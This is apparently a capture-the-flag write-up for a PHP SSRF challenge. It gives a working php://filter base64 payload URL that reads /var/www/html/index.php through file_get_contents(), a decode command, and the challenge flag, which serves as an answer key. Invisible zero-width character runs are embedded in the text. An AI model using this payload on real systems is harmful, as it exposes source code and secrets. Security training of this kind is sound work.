file_get_contents SSRF

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: base64_source_read, php_filter_wrapper, ssrf_source_disclosure

Summary

PHP SSRF with file_get_contents function.

file_get_contents SSRF — Web Kids 2.0

Description

PHP SSRF with file_get_contents function.

URL: https://advweb3.spb.ctf.su/

Analysis

The web application uses the PHP file_get_contents() function to load resources by URL. This function supports various PHP stream wrappers, including php://filter, which allows reading PHP file source code.

The flag is located in the $flag variable inside the source code at /var/www/html/index.php.

Solution

1. Identified that the application uses file_get_contents() to load resources
2. Used PHP filter wrapper to read the source code in base64: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

php://filter/convert.base64-encode/resource=/var/www/html/index.php

1. Decoded the received base64:

 bash read-only • copy allowed Copy
echo "PD9waHAKJGZsYWcgPSAic3BiY3RmezE0M2YxMDQ0YjIyODgxMmI4YWQwNTA3MzUwNzI0ZWQ3fSI7Ci4uLg==" | base64 -d

1. Found the flag in the $flag variable in the decoded source code

Full payload URL:

https://advweb3.spb.ctf.su/?url=php://filter/convert.base64-encode/resource=/var/www/html/index.php

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍